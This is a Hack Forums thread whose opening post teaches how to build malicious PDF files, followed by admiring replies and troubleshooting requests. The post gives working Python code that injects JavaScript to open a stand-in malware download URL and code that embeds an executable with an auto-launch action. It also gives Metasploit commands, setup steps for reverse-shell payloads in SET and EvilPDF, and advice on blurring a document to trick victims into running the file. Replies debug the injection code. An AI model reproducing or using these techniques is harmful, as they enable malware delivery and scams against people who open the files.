

Forum:[Hack Forums](#)

Thread: [How hackers make malicious PDF files \(+list of tools\)](#)

Bastille - November 27, 2024, 11:24 pm

? 2025 updated, added Setoolkit and EvilPDF methods ?

The purpose of this thread is for educational purposes only. It aims to provide an overview of the attacks, tools, and methods used by hackers during their attacks. In the second part, we will discuss how to analyze these documents to detect malicious ones, as well as useful countermeasures to prevent them.

1. Scam file
2. Phishing file
3. Javascript
5. Embedded .exe file
6. Vulnerability exploit
7. List of tools

I. SCAM FILES

Main objectives : ? (money)

One of the most common is the "scam file" as it doesn't require high level of technical skills, which is basically developped around a scam and ask for the user to call a phone number or to proceed to a payment. Here it's an example of a scam :

How hackers make these successful : They use social engineering levers, such as :

- Urgency (confirm your winning now !!!)
- Opportunity (upgrade your account to win an additional prize !!!)
- Trust (sharing fake phone number and TG account)
- Fear (it's specified for the phone number that if it's shared it will be shutdown !!)Nowadays,

hackers use ChatGPT to make well written texts

Use real links / images

Use dedicated name for each victim

Embed malicious links in what looks like legit links (see the screenshot and the URL)

II. PHISHING FILES

Main objectives : ? (credentials / bank info)

The hackers use fake pdf files of services that the victim is using to increase their chances. They clone the official page to then retrieve the credentials.

This will not be discussed here. *

III. JAVASCRIPT

Main objectives : ? (multiples)

This part can be done through tools or manually. If you choose the second option you'll need some additional knowledge, such as what are Types and how they work.

CLI Tools : You can ask to ChatGPT to generated the codes / command lines for this PyPDF2 :

<https://pypi.org/project/PyPDF2/>

PyMuPDF : <https://pypi.org/project/PyMuPDF/>

PdfRW : <https://github.com/pmaupin/pdfrw>

Here is a tutorial on how to open a webpage when a PDF file is opened, with PyPDF2 :

Spoiler ([Click to View](#))

Code from PyPDF2 import PdfReader, PdfWriter

```
# Function to add JavaScript to an existing PDF
def add_javascript_to_existing_pdf(input_pdf, output_pdf, url):
    # Read the existing PDF
    reader = PdfReader(input_pdf)
    writer = PdfWriter()

    # Copy all pages from the original file to the writer
    for page in reader.pages:
        writer.add_page(page)

    # Add JavaScript to the PDF
    javascript = f"app.launchURL('{url}', true);"
    writer.add_js(javascript)

    # Write the modified PDF to a new file
    with open(output_pdf, "wb") as f:
        writer.write(f)

# Specify the existing PDF, output file, and URL
input_pdf = "existing_file.pdf"
output_pdf = "modified_with_javascript.pdf"
url_to_open = "https://malicious-url.com/made-by-hackforums.exe"

# Call the function
add_javascript_to_existing_pdf(input_pdf, output_pdf, url_to_open)

print(f"JavaScript added successfully to {output_pdf}")
```

GUI Tools :PDFtk - The PDF Toolkit : <https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/> (the free version doesn't allow you to do a lot of things, take a look at the paid version which is 3.99\$)

Manual Edition :Use any text editor and add some /Types such as /Action, here is an example :

Code <<

/Type /Action

/S /JavaScript

/JS (app.alert('You've been hacked !'))

>>

Hacking Tools :Metasploit, pop-up :

```
Code use auxiliary/fileformat/adobe_pdf_embedded_js #select the exploit
set JAVASCRIPT "app.alert('This is a test JavaScript injection');" #define the Javascript
set OUTPUTFILE js_injected.pdf #define the output file
exploit #generate the PDF file
```

Metasploit, redirection link :

```
Code use auxiliary/fileformat/adobe_pdf_embedded_js #select the exploit
set JAVASCRIPT "app.launchURL('https://malicious-website.com', true);" #define the Javascript
set OUTPUTFILE redirect.pdf #define the output file
exploit #generate the PDF file
```

IV. EMBEDDED .EXE FILE

Main objectives : Malware ?

There are different options for embedded files, you can configure the PDF files to automatically execute the .exe file when the victim opens the PDF file, however it seems that this flaw has been patched on many PDF readers. Otherwise, you can embed it and trick the victim to make it execute like saying it's necessary to update their PDF reader with the .exe file embedded.

Code import pikepdf

```
# Open an existing PDF
```

```
pdf = pikepdf.Pdf.open("input.pdf")
```

```
# Add an embedded file
```

```
embedded_file = pdf.make_stream(open("example.exe", "rb").read())
```

```
embedded_file.Type = "/EmbeddedFile"
```

```
embedded_file.Length = len(embedded_file.get_raw_stream_buffer())
```

```
pdf.Root.Names = pdf.make_dict(EmbeddedFiles=pdf.make_dict(Names=["example.exe",
embedded_file]))
```

```
# Add a Launch action
```

```
launch_action = pdf.make_dict(S="/Launch", F="example.exe")
```

```
pdf.Root.OpenAction = launch_action
```

```
# Save the modified PDF
```

```
pdf.save("output.pdf")
```

If you see that the auto-execution of .exe files is not possible, or if .exe files are blocked, instead you can use URLs with /OpenAction so a URL opens and automatically downloads the .exe file, and then you can ask to the victim to execute the .exe that has been downloaded to see the content of the PDF file (and you can use a tool to blur the content of the PDF file, making thinking the victim if he executes the .exe file then the content of the PDF will be unblurred/unlock).

You can blur the content of a PDF file with tools like Py2PDF and Pillow, or you can just add a blurred image that you made with Gimp, Photoshop, or online tools such as

<https://www.photopea.com/> , here is an example :

Embed an .EXE with setoolkit

Execute the tool as root user, if you don't have it installed then use the following command :

Code sudo apt install set

After executing you'll be asked to choose options from a menu :

You'll then need to chose :

- what PDF file to use, your own PDF file, or a blank one
- the payload (Windows Reverse TCP Shell, Meterpreter Reverse TCP, Reverse VNC DLL, ...) and configure the options (remote IP address, port, ...)

Embed an .EXE with EvilPDF

From the github repo : <https://github.com/superzerosec/evilpdf> , works similarly to Setoolkit :

V. VULNERABILITY EXPLOIT

Main objectives : ? (remote access)

You can look for the main PDF reader programs in Metasploit and the known exploits, here is in example for Foxit reader :

Here is a list of some exploits that might be used by hackers :Corrupted font (vulnerabilities in how PDF readers handle embedded fonts)

Overflow form (improperly handled or excessive data in form fields within the PDF)

Embedded executable files (files are attached with /FileSpec and might be executed with /JavaScript, /Launch, or /OpenAction), but from what I've read it's deprecated)

Buffer Overflow (vulnerabilities in how PDF readers handle overly long strings or malformed objects)

Heap Spray (using JavaScript to allocate memory in a way that enables arbitrary code execution)

XFA forms (targeting XML Form Architecture (XFA) forms for privilege escalation or code execution)

Annotation Exploits (using malformed annotations to cause crashes or code execution)

VI. LIST OF TOOLS

<https://github.com/mufeedvh/pdfrip> > PDF password cracking

<https://github.com/jonaslejon/malicious-pdf> > Generate ten different malicious pdf files with phone-home functionality.

While looking for tools I stubbed upon this link which provides maybe more details about the topic we approached above, feel free to take a look at it too :

<https://0xcybery.github.io/blog/hacking-with-pdf>

Here is an article about the structure of PDF files :

<https://medium.com/@jberkenbilt/the-structure-of-a-pdf-file-6f08114a58f6>

And two other links to dive deeper in this field :

<https://cloudmersive.com/article/Understanding-Embedded-JavaScript-in-PDF-Documents>

<https://www.sentinelone.com/blog/malicious-pdfs-revealing-techniques-behind-attacks/>

Chinggist - December 3, 2024, 8:50 am

Great and informative thread.

DemoTester - December 3, 2024, 9:33 am

Love the Thread!! Very informative.

bagsandtagsss777 - December 4, 2024, 10:41 am

yes likewise very interesting thread

Bastille - December 4, 2024, 10:50 pm

(Dec 3, 2024 09:50 AM)Chinggist Wrote: [\[CITE\]](#) Great and informative thread.

(Dec 3, 2024 10:33 AM)DemoTester Wrote: [\[CITE\]](#) Love the Thread!! Very informative.

(Dec 4, 2024 11:41 AM)bagsandtagsss777 Wrote: [\[CITE\]](#) yes likewise very interesting thread

Thanks guys ! More is coming soon, feel free to request hacking tutorials here :

<https://hackforums.net/showthread.php?tid=6282713> (as long as it doesn't go against the rules !!)

mr-xs - December 16, 2024, 8:38 pm

Exelent ?

Thank you, it will be very useful to me

Tegroid - December 16, 2024, 11:06 pm

This really the most googled topic. Thanks for it.

Bastille - December 17, 2024, 12:39 am

(Dec 16, 2024 09:38 PM)mr-xs Wrote: [\[CITE\]](#) Exelent ?

Thank you, it will be very useful to me

(Dec 17, 2024 12:06 AM)Tegroid Wrote: [\[CITE\]](#) This really the most googled topic. Thanks for it.

You're welcome guys, if you would like to see other tutorials feel free to submit your requests here : <https://hackforums.net/showthread.php?tid=6282713> (it must respect HF rules tho, some topics are not allowed, please read the [Help Docs](#) to be aware of them)

(Dec 16, 2024 09:48 PM)Lowkey Wrote: [\[CITE\]](#) I promise to only use this information for good. Always ?

pinkfan - December 30, 2024, 12:28 am

I saw this topic accidently and how lucky I am. tnx bro

Bastille - December 30, 2024, 2:26 am

(Dec 30, 2024 01:28 AM)pinkfan Wrote: [\[CITE\]](#) I saw this topic accidently and how lucky I am. tnx bro
You're welcome, feel free to check my other hacking tutorials, and if you have requests you can submit here as long as it doesn't go against the rules of the forum

<https://hackforums.net/showthread.php?tid=6282713>

Charlie Sheen - December 30, 2024, 6:25 pm

(Dec 30, 2024 05:40 PM)carl2003 Wrote: [\[CITE\]](#) es interesante como los hacker usan la ing social para infectar a las persona

All posts must be made in English. Please read our [Help Docs](#).

Mexicano - January 6, 2025, 1:41 pm

Very nice and well structured explanation with which even begginers can have an insight of what it looks like.

As well guess that Python/Bash/Powershell scirpting seems to be a must if you are doing whatever IT work in the industry, since it is crucial in automating tasks and making your life easier.

Very good thread.

Bastille - January 6, 2025, 6:57 pm

(Jan 6, 2025 02:41 PM)Mexicano Wrote: [\[CITE\]](#) Very nice and well structured explanation with which even beginners can have an insight of what it looks like.

As well guess that Python/Bash/Powershell scripting seems to be a must if you are doing whatever IT work in the industry, since it is crucial in automating tasks and making your life easier.

Very good thread.

Thanks for your post ! And you're right, depending on your job one of them might be more important than the others, but basically they allow you to expend your capacities (such as automating tasks) and it's always good skills to get. Besides, with ChatGPT, it's even easier (but don't rely 100% on it).

You're welcome ! If you're looking for a tutorial and you don't find it with the search feature, feel free to submit a request here (as long as it doesn't go against the rules of the forum) :

<https://hackforums.net/showthread.php?tid=6282713>

F4tDoinkz - January 6, 2025, 7:00 pm

Damn, thanks for this. Very helpful thread. Maybe I will play around with some exploits later ;)

Mexicano - January 6, 2025, 7:28 pm

(Jan 6, 2025 07:57 PM)Bastille Wrote: [\[CITE\]](#) Thanks for your post ! And you're right, depending on your job one of them might be more important than the others, but basically they allow you to expend your capacities (such as automating tasks) and it's always good skills to get. Besides, with ChatGPT, it's even easier (but don't rely 100% on it).

You're welcome ! If you're looking for a tutorial and you don't find it with the search feature, feel free to submit a request here (as long as it doesn't go against the rules of the forum) :

<https://hackforums.net/showthread.php?tid=6282713>

Thanks man, you really have got the greatest tutorials here. I am really impressed with the structure you are doing on your posts, they look so professional. You kinda make me want to improve they way I structure my stories when type ... ?

Regarding the ChatGPT part, a lot of non-technical people around me keep saying:

"All you IT's are doomed, with ChatGPT we don't need IT's, as he can build me fully functioned website Finally the ballon for you all will pop ..."

And most of the times, I am just sitting there and be like, okay ChatGPT will spit the code and you might have functioning website, but you do not have idea how it function, or how to modify or support it goddman.

Yeah it is useful, but still the person behind it, needs to know excatly how to code works, so it can be modified properly and as well my opionion, nobody with some six figures business, wouldn't rely for his business to run on it and cut his staff.

Bastille - January 6, 2025, 7:33 pm

(Jan 6, 2025 08:00 PM)F4tDoinkz Wrote: [\[CITE\]](#) Damn, thanks for this. Very helpful thread. Maybe I will play around with some exploits later ;)

You're welcome buddy ! If you are looking for other tutorials, feel free to check this thread :

<https://hackforums.net/showthread.php?tid=6282713> you can also request a tutorial in this thread if

you don't find it on HF

(Jan 6, 2025 08:28 PM)Mexicano Wrote: [\[CITE\]](#) Thanks man, you really have got the greatest tutorials here. I am really impressed with the structure you are doing on your posts, they look so professional. You kinda make me want to improve the way I structure my stories when type ... ?

Regarding the ChatGPT part, a lot of non-technical people around me keep saying:

"All you IT's are doomed, with ChatGPT we don't need IT's, as he can build me fully functioned website Finally the balloon for you all will pop ..."

And most of the times, I am just sitting there and be like, okay ChatGPT will spit the code and you might have functioning website, but you do not have idea how it function, or how to modify or support it goddman.

Yeah it is useful, but still the person behind it, needs to know exactly how to code works, so it can be modified properly and as well my opinion, nobody with some six figures business, wouldn't rely for his business to run on it and cut his staff.

Exactly ! Actual AI (LLM) is not reliable for the time being and you still need humans to manually check and adjust, it will be different with AGI (which is an other form of AI), but it's not ready yet.

By the way if you're involved into hacking, feel free to check this thread to share your progresses, I've made it to motivate every of us to make a little bit every day :

<https://hackforums.net/showthread.php?tid=6288695>

rhithern - January 18, 2025, 5:40 pm

yes likewise very interesting thread

Bastille - January 23, 2025, 12:11 pm

(Jan 18, 2025 06:40 PM)rhithern Wrote: [\[CITE\]](#) yes likewise very interesting thread

Enjoy buddy, feel free to ask for other tutorials (as long as it doesn't go against the rules of the forum) : <https://hackforums.net/showthread.php?tid=6282713>

Bastille - January 30, 2025, 10:05 am

Just updated the thread to add Setoolkit and EvilPDF guys

7 - January 30, 2025, 10:17 am

very lovely thread.

Like kinda back to basics and teaching the users the true art I love it.

These days i just use lnk files with encrypted powershell commands like mlnk private version but I love the detail

Im looking forward to you using and learning the beef framework.

Bastille - February 1, 2025, 1:15 pm

(Jan 30, 2025 11:17 AM)7 Wrote: [\[CITE\]](#) very lovely thread.

Like kinda back to basics and teaching the users the true art I love it.

These days i just use lnk files with encrypted powershell commands like mlnk private version but I love the detail

Im looking forward to you using and learning the beef framework.
Thanks mate,

To be honest, I'm a complete noob regarding lnk files. But I don't like to not understand things in hacking (and computing in general), I'll work on this topic, and make a tutorial soon then, for Fallen

Regulus - February 1, 2025, 1:17 pm

You literally NEVER stop surprising me with your insane tutorials for real.

rustyHoodie323 - February 1, 2025, 1:25 pm

Does anyone want me to make a virus via Godot 4.3?

Bastille - February 1, 2025, 1:30 pm

(Feb 1, 2025 02:17 PM)Regulus Wrote: [\[CITE\]](#) You literally NEVER stop surprising me with your insane tutorials for real.

Your kind words go straight to my heart buddy, for real.

And that's just the beginning, we're about to step it up a level soon :

<https://hackforums.net/showthread.php?tid=6290667>

neptune06 - February 6, 2025, 6:53 am

(Nov 28, 2024 12:24 AM)Bastille Wrote: [\[CITE\]](#) Here is a tutorial on how to open a webpage when a PDF file is opened, with PyPDF2 :

Spoiler ([Click to View](#))

Code from PyPDF2 import PdfReader, PdfWriter

```
# Function to add JavaScript to an existing PDF
```

```
def add_javascript_to_existing_pdf(input_pdf, output_pdf, url):
```

```
    # Read the existing PDF
```

```
    reader = PdfReader(input_pdf)
```

```
    writer = PdfWriter()
```

```
    # Copy all pages from the original file to the writer
```

```
    for page in reader.pages:
```

```
        writer.add_page(page)
```

```
    # Add JavaScript to the PDF
```

```
    javascript = f'app.launchURL('{url}', true);"
```

```
    writer.add_js(javascript)
```

```
    # Write the modified PDF to a new file
```

```
    with open(output_pdf, "wb") as f:
```

```
        writer.write(f)
```

```
# Specify the existing PDF, output file, and URL
```

```
input_pdf = "existing_file.pdf"
```

```
output_pdf = "modified_with_javascript.pdf"
```

```
url_to_open = "URL redacted"
```

```
# Call the function
```

```
add_javascript_to_existing_pdf(input_pdf, output_pdf, url_to_open)
```

```
print(f"JavaScript added successfully to {output_pdf}")
```

I'm having some troubles with this part. I'm using PyPDF 5.2, not PyPDF2, so I've had to change the code a little bit. Using their documentation I've made this:

```
Code from pypdf import PdfWriter

writer = PdfWriter(clone_from="sample.pdf")

url = can't post this because I have less than 50 posts

javascript = f'app.launchURL('{url}', true);"
writer.add_js(javascript)

# Write to pypdf-output.pdf.
with open("pypdf-output.pdf", "wb") as fp:
    writer.write(fp)
```

However, the PDF output file just does nothing. There are no errors in the console logs besides warnings that I get with other commands. I've tried using alerts and printing to the console instead and these work, but opening a URL does not. Can you tell me where I'm going wrong or if this has been fixed/restricted?

papa101 - February 10, 2025, 7:06 am

please i need to know about hacking can someone talk to me

Regulus - February 10, 2025, 7:08 am

(Feb 10, 2025 08:06 AM)papa101 Wrote: [\[CITE\]](#) please i need to know about hacking can someone talk to me

You're literally in the Hacking Tutorials section..

Chorozon - February 20, 2025, 3:38 am

Very cool tutorial man i haven't seen evilpdf reader in a long time

Bastille - February 21, 2025, 3:15 am

(Feb 20, 2025 04:38 AM)Chorozon Wrote: [\[CITE\]](#) Very cool tutorial man i haven't seen evilpdf reader in a long time

Thanks for the post ! That's not my field as I'm more oriented white hat / cybersecurity but I think it's vital to understand how malicious actors and their tools / methods work.

I improve my tutorials over time, if I find any other tools or methods I'll add them !

RoundLettuce - February 23, 2025, 1:26 pm

Amazing tutorial! Thank you!! I bookmarked it :)

Bastille - February 24, 2025, 1:49 am

(Feb 23, 2025 02:26 PM)RoundLettuce Wrote: [\[CITE\]](#) Amazing tutorial! Thank you!! I bookmarked it :)

You're welcome man ! If you want to see more hacking tutorials that you didn't find on HF with the search feature, feel free to ask here : <https://hackforums.net/showthread.php?tid=6282713>

mlkmx - March 24, 2025, 1:06 pm

thank you so much for this ! starting out so tutorials like this really help us new learners understand, well anything lol. much appreciation

Bastille - March 24, 2025, 1:11 pm

(Mar 24, 2025 01:06 PM)mlkmx Wrote: [\[CITE\]](#) thank you so much for this ! starting out so tutorials like this really help us new learners understand, well anything lol. much appreciation
You're welcome man, by the way if you're starting and want to learn more about hacking I encourage you to :

Read the following thread : <https://hackforums.net/showthread.php?tid=6263412>
Register and start practicing here : <https://tryhackme.com>

You can then share your daily progresses here :
<https://hackforums.net/showthread.php?tid=6288695>
we speak about hacking and motivate each of use to study even a little bit every day

If you have questions you can ask on HF

Don't forget to read the [Help Docs](#)

Enjoy your stay !

DramaKing - May 26, 2025, 11:32 am

EvilPDF gives me an empty file when downloading. Does it not work anymore?

Bastille - May 26, 2025, 7:20 pm

(May 26, 2025 11:32 AM)DramaKing Wrote: [\[CITE\]](#) EvilPDF gives me an empty file when downloading. Does it not work anymore?

What do you mean by "empty" file ? No payload ? No content in the PDF file like texte or images ? Can you share some screenshots of what you selected during the creation of the file ? I didn't test the file, but when I created it and uploaded it on VT, it has been flagged as malicious "Dropper" :
<https://www.virustotal.com/gui/file/91dda7a0a1fc9e410c8faa1214618c2bcaaa62170360d347f6973fec5629482/behavior>

I've followed the steps on this tutorial and the file has been generated :
<https://jaymonsecurity.com/analysis-evilpdf/>

What PDF reader did you use ? Can you try with another one ? Or with a web browser ?

DramaKing - May 26, 2025, 7:23 pm

(May 26, 2025 07:20 PM)Bastille Wrote: [\[CITE\]](#) What do you mean by "empty" file ? No payload ? No content in the PDF file like texte or images ? Can you share some screenshots of what you selected during the creation of the file ? I didn't test the file, but when I created it and uploaded it on VT, it has been flagged as malicious "Dropper" :
<https://www.virustotal.com/gui/file/91dda7a0a1fc9e410c8faa1214618c2bcaaa62170360d347f6973fec5629482/behavior>

I've followed the steps on this tutorial and the file has been generated :
<https://jaymonsecurity.com/analysis-evilpdf/>

What PDF reader did you use ? Can you try with another one ? Or with a web browser ?
Huh. Yeah, I will. I downloaded the .zip multiple times, and it was always 0 bytes.

topsms - June 7, 2025, 7:19 pm

thanks for this bruh

Jean Bon - June 14, 2025, 1:45 pm

Thanks for the information.

It's hard to find reliable source.

Sorry to ask but would someone be nice enough to make a small video of the process?

I will be grateful to him.

Bastille - *June 15, 2025, 3:20 am*

(Jun 14, 2025 01:45 PM)Jean Bon Wrote: [\[CITE\]](#) Thanks for the information.

It's hard to find reliable source.

Sorry to ask but would someone be nice enough to make a small video of the process?

I will be grateful to him.

You're welcome, yeah we're thinking about making videos for the forum, can't say when they will be released, but we're working on it